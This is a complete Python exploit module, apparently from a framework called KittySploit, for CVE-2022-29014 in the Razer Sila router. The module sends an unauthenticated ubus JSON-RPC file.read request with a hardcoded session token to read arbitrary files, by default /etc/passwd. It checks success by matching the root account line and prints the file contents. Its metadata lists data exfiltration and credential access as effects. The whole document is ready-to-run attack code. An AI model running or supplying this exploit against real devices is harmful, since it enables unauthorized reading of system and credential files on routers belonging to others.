Razer Sila Router LFI (CVE-2022-29014)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Razer Sila ubus file read LFI (CVE-2022-29014)."""

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Razer Sila Router LFI (CVE-2022-29014)',
        'description': (
            'Exploits CVE-2022-29014 in Razer Sila 2.0.418: unauthenticated ubus JSON-RPC '
            'file.read on /ubus/ allows reading arbitrary files such as /etc/passwd.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2022-29014'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2022-29014'],
        'tags': ['razer', 'router', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration', 'credential_access'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2022_29014_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file path', required=True)
    ubus_token = OptString(
        '4183f72884a98d7952d953dd9439a1d1',
        'ubus session token from scanner',
        required=False,
        advanced=True,
    )

    def execute(self, remote_path: str) -> str:
        payload = json.dumps({
            'jsonrpc': '2.0',
            'id': 3,
            'method': 'call',
            'params': [
                str(self.ubus_token or '4183f72884a98d7952d953dd9439a1d1'),
                'file',
                'read',
                {'path': remote_path},
            ],
        })
        r = self.http_request(
            method='POST',
            path='/ubus/',
            data=payload,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'Razer Sila ubus LFI confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ubus file.read failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Razer Sila not vulnerable')
            return False
        body = self.execute(str(self.file_path or '/etc/passwd'))
        print_success(body[:4000])
        return True